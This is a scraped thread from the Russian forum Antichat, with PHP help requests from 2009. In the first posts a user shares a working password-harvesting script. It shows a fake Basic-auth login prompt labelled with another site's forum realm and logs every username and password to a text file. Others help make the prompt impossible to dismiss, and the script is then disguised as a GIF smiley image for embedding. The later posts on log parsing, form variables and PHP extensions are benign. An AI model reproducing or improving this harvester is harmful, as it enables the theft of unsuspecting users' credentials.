Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

07.05.2009, 20:48
|
|
Познающий
Регистрация: 29.08.2008
Сообщений: 86
Провел на форуме: 789539
Репутация:
53
|
|
Вот вопросик , есть код:
PHP код:
<?
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 2-ёх символов и вообще написан логин
if(strlen($pass) <= 2 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="la2titan.ru/forum/ - login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
?>
он типо выдаёт окно авторизации, если нажимаеш ок а число символов меньше 2 то окно возвращается, а если отмена то схлопывается, можно ли сделать чтобы при нажатии отмена окно не схлопывалось пока пользователь не введёт логин и пасс????
|
|
|

07.05.2009, 21:03
|
|
Banned
Регистрация: 07.05.2009
Сообщений: 11
Провел на форуме: 88555
Репутация:
11
|
|
Сообщение от S[N]EP
Вот вопросик , есть код:
PHP код:
<?
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 2-ёх символов и вообще написан логин
if(strlen($pass) <= 2 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="la2titan.ru/forum/ - login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
?>
он типо выдаёт окно авторизации, если нажимаеш ок а число символов меньше 2 то окно возвращается, а если отмена то схлопывается, можно ли сделать чтобы при нажатии отмена окно не схлопывалось пока пользователь не введёт логин и пасс????
Можно поставить цикл сколько угодно раз, т.е. если он нажимает отмену то цикл еще раз.
|
|
|

07.05.2009, 21:06
|
|
Познающий
Регистрация: 29.08.2008
Сообщений: 86
Провел на форуме: 789539
Репутация:
53
|
|
Сообщение от 25:17
Можно поставить цикл сколько угодно раз, т.е. если он нажимает отмену то цикл еще раз.
PHP код:
<?
//делаем скрипт картинкой
header("Content-type: image/gif");
//делаем изображение смайликом из архива
$image = imagecreatefromgif('mellow.gif');
$a=1;
while ($a<999){
if(!$_COOKIE['LOGON'])
{
$login = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
//Авторизация пройдёт, если пароль больше 2-ёх символов и вообще написан логин
if(strlen($pass) <= 2 || !$login)
{
Header('HTTP/1.1 401 Unauthorized');
Header('WWW-Authenticate: Basic realm="la2titan.ru/forum/ - login"');
}
elseif($login)
{
//ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис ))
setcookie('LOGON',md5($pass));
//запишем пароли в файл
$f = fopen('passwords.txt', 'ab'); //passwords.txt
fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD
fclose($f);
}
}
$a++;
}
imagegif($image);
imagedestroy($image);
?>
так? всё равно при отмене оно больше не выводится(
Последний раз редактировалось S[N]EP; 07.05.2009 в 22:30..
|
|
|

08.05.2009, 01:14
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
Сообщение от Nightmarе
Помогите плиз разобраться с кодом, сам к сожалению не могу.
В файле log.dat содержится данные IP:дата
Даный код получает инфу из файла и выводит на экран айпишники + последнюю дату. При этом отсеивает похожие айпи адреса (чтобы одинаковых не выводилось) и выводит только те которые были активны за последние 5 минут (сверяет по дате)
Пример файла log.dat :
127.0.0.1:1234567890
127.0.0.2:1234567890
127.0.0.3:1234567890
127.0.0.4:1234567890
127.0.0.1:1234567890
Теперь-же в файле log.dat добавилось 2 новых параметра, и инфа выглядит так:
127.0.0.1:1234567890:randominfa1:randominfa2
127.0.0.2:1234567890:randominfa1:randominfa2
32.60.32.60:1234567890:randominfa1:randominfa2
127.0.0.4:1234567890:randominfa1:randominfa2
32.60.32.60:1234567890:randominfa1:randominfa2
В данном коде надо подправить вывод 3 и 4 параметров на экран, чтобы они выводились вместе с айпишниками.
Но к сожалению мне не понятно где в этом коде первый параметр, а где второй.
я банально сделал вот такую подправку:
Код:
list($_ip, $_time, $_cid, $_nat) = explode(':::', trim($ip));
$print[$_ip] = $_ip;
$print[$_cid] = $_cid;
$print[$_nat] = $_nat;
$time[$_ip] = $_time;
Дальше юзал:
echo $ip.$_nat, ' посетил страницу в ', date('h:i:s', $time[$ip]), "\n";
И это даже на первый взгляд заработало, но как оказалось последние 2 параметра в этом случае он абсолютно рандомно выводит, а надо чтобы выводил параметры пренадлежащие этой лини (ip адресу).
В общем кто сможет, помогите разобраться...
PHP код:
list($_ip, $_time, $_rnd1, $_rnd2) = explode(':', trim($ip));
$print[$_ip] = $_ip;
$time[$_ip] = $_time;
$print[$_rnd1] = $_rnd1;
$print[$_rnd2] = $_rnd2;
Последний раз редактировалось Isis; 08.05.2009 в 01:22..
|
|
|

08.05.2009, 02:06
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,316
Провел на форуме: 16641028
Репутация:
2371
|
|
PHP код:
<?php
$log = 'ip.txt';
$file = file($log);
$k = array();
foreach($file as $abc)
{
list($k['ip'][], $k['time'][], $k['cid'][], $k['nat'][]) = explode(':::', trim($abc));
}
$max_time = time() - 300000;
/*$k['ip'] = array_unique($k['ip']);
$k['time'] = array_unique($k['time']);
$k['cid'] = array_unique($k['cid']);
$k['nat'] = array_unique($k['nat']);*/
$count = count($k['ip']);
for($i = 0;$i < $count; $i++)
{
if($k['time'][$i] > $max_time)
{
$vremya = date('h:i:s', $k['time'][$i]);
if(strpos($k['nat'][$i], 'real') !== false)
{
$color='#66DD66';
}
else
{
$color='yellow';
}
echo '<a href="javascript:FP_setTextFieldText(\'ipaddr\', \''.$k['ip'][$i].'\', \'1\')"><font color='.$color.' size=2>'.$k['cid'][$i].'</font></a><font color=red size=2> Time:'.$vremya.'</font><br/>';
}
}
?>
|
|
|

08.05.2009, 12:19
|
|
Новичок
Регистрация: 22.04.2009
Сообщений: 21
Провел на форуме: 73023
Репутация:
11
|
|
я в заблуждении.
думаю что же сделал не так.
итак, имеем файл test.php, лежащий на локалхосте (http://good/)
test.php
PHP код:
<form action = "http://good/test.php" method="get">
Рас <input type="text" name="ras"><br>
Два <input type="text" name="dva"><br>
<input type="submit" value="Считаем!">
</form>
<?
$sum = $ras + $dva;
echo $sum;
echo "<br>"; // эти строчки добавил
echo(gettype($ras)); // потому что
echo "<br>"; // ответ
echo(gettype($dva)); // всегда был ноль
?>
получается что $sum всегда ноль.
в браузере, независимо от значений $ras и $dva всегда вижу:
как решается проблема?)
|
|
|

08.05.2009, 12:25
|
|
Новичок
Регистрация: 07.12.2008
Сообщений: 10
Провел на форуме: 46291
Репутация:
8
|
|
PHP код:
<form action = "http://good/test.php" method="post">
Рас <input type="text" name="ras"><br>
Два <input type="text" name="dva"><br>
<input type="submit" value="Считаем!">
</form>
<? $sum = $_POST["ras"] + $_POST["dva"];
echo $sum; echo "<br>";
// эти строчки добавил
echo(gettype($_POST["ras"]));
// потому что echo "<br>";
// ответ
echo(gettype($_POST["dva"]));
// всегда был ноль ?>
Данные получаемые из форм находятся в массиве $_POST
Последний раз редактировалось chlp; 08.05.2009 в 12:29..
|
|
|

08.05.2009, 14:23
|
|
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме: 244235
Репутация:
39
|
|
Сообщение от Veteriuz
как решается проблема?)
вариант 1 - ламерский - включи себе в пхп register_globals, тогда переданные переменные будут автоматом создаваться, но в таком случае возможны проблемы с секъюрностью, если где-то затупишь
вариант 2 - правильный - данные из формы будут либо в массиве $_GET, либо в массиве $_POST, смотря что напишешь в <form method="get/post">, и точно будут в массиве $_REQUEST, который объединяет 2 предыдущих. замени в своем коде $ras, $dva на$_GET['ras'] и $_GET['dva'], или же $_REQUEST['ras'].. и должно заработать
|
|
|

08.05.2009, 20:26
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме: 302951
Репутация:
67
|
|
подскажите плиз, скачал библиотеку отсюда http://www.pdflib.com/
а как ее подключить к моему php не знаю , никогда библиотеки не приходилось подключать, у меня стоит локально xampp
|
|
|

08.05.2009, 20:30
|
|
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
Провел на форуме: 6462214
Репутация:
3171
|
|
php.ini добавь строчку с extension yuo_modul.dll
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|